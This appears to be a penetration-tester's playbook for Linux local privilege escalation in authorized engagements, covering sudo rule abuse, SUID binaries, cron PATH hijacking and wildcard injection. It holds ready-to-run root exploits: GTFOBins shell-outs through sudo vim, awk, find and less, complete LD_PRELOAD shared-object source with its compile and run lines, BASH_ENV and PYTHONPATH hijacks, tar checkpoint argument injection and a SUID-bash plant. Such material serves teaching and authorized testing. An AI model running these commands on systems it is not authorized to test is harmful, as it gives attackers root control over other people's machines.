Local privilege escalation through sudo rule abuse (GTFOBins, SETENV/LD_PRELOAD/BASH_ENV/PYTHONPATH), SUID/SGID binaries, writable cron jobs and cron PATH hijacking, and wildcard (glob) argument injection against privileged tar/rsync/zip/chown/tcpdump invocations during authorized engagements.
Local privilege escalation through sudo rule abuse (GTFOBins, SETENV/LD_PRELOAD/BASH_ENV/PYTHONPATH), SUID/SGID binaries, writable cron jobs and cron PATH hijacking, and wildcard (glob) argument injection against privileged tar/rsync/zip/chown/tcpdump invocations during authorized engagements.
During authorized local privilege escalation after obtaining an unprivileged shell
When sudo -l reveals NOPASSWD entries, SETENV, or preserved environment variables
When SUID/SGID binaries or root-owned writable scripts are present
When cron/systemd timers run scripts on writable paths or with an unsafe PATH
When a privileged script processes a wildcard (*) over an attacker-writable directory
Critical: Techniques Most Often Missed
Testers run sudo -l, see a binary they don't recognize, and stop. The escalation usually hides in environment handling, relative paths, and wildcard argument injection.
Wildcard / glob argument injection. A privileged tar/rsync/zip/chown/7z/tcpdump * lets you plant filenames that begin with - and become flags.
How to CONFIRM: in the writable dir create --checkpoint=1 and --checkpoint-action=exec=sh shell.sh (tar); after the root job runs, shell.sh executed as root (check your /tmp/pwn marker).
Preserved env vars in sudo.env_keep+=LD_PRELOAD, BASH_ENV, PYTHONPATH, LD_LIBRARY_PATH all yield root code execution.
How to CONFIRM: sudo -l lists the kept var; e.g. sudo LD_PRELOAD=/tmp/pe.so <allowed_cmd> spawns a root bash.
SUID/sudo binary calling a command without an absolute path. Hijack via PATH or an exported bash function.
How to CONFIRM: strings <suid> shows a bare command name (e.g. service); after export PATH=/tmp:$PATH with a trojan, running it gives root.
Root-owned SUID wrapper that runs a writable script. Append to the script, run the wrapper.
How to CONFIRM: ls -l shows the wrapped .sh is writable; appending chmod +s /bin/bash then running the wrapper leaves a SUID bash.
less/vim/awk/find via sudo (GTFOBins shell-out). A "harmless" file-viewer sudo rule shells out.
How to CONFIRM: sudo less /var/log/x then !sh; or sudo vim -c '!sh' returns a root shell.
Cron PATH hijack / writable cron script. A root cron with PATH=/home/user:... or a writable target.
How to CONFIRM: pspy shows the root cron calling a relative binary; planting it in the writable PATH dir runs as root on the next tick.
Workflow
Step 1: Enumerate sudo, SUID, and cron
sudo -l # allowed commands + env_keep/SETENV
find / -perm -4000 -type f 2>/dev/null # SUID binaries
find / -perm -2000 -type f 2>/dev/null # SGID binaries
crontab -l ; ls -al /etc/cron* /etc/at*
cat /etc/crontab /etc/cron.d/* 2>/dev/null | grep -v '^#'cat -A /etc/crontab # reveal carriage-return stealth jobs
pspy64 -pf -i 1000 # watch real argv of cron/systemd jobs
Step 2: Abuse sudo Rules (GTFOBins + environment)
# Direct GTFOBins shell-outs from a sudo-allowed binarysudo vim -c '!sh'sudo awk 'BEGIN {system("/bin/sh")}'sudo find /etc -exec sh -i \;
sudo less /var/log/x -> !sh # or :e /etc/shadow to read files# LD_PRELOAD (sudo -l shows env_keep+=LD_PRELOAD)cat > /tmp/pe.c <<'EOF'#include <stdlib.h>
void _init(){ unsetenv("LD_PRELOAD"); setgid(0); setuid(0); system("/bin/bash"); }
EOF
gcc -fPIC -shared -o /tmp/pe.so /tmp/pe.c -nostartfiles
sudo LD_PRELOAD=/tmp/pe.so <ALLOWED_CMD>
# BASH_ENV (env_keep+=BASH_ENV) — sourced for non-interactive bashecho'#!/bin/bash' > /dev/shm/x.sh; echo'/bin/bash' >> /dev/shm/x.sh; chmod +x /dev/shm/x.sh
BASH_ENV=/dev/shm/x.sh sudo /usr/bin/some_script
# PYTHONPATH hijack (SETENV: script.sh)sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh # /dev/shm holds a malicious imported module
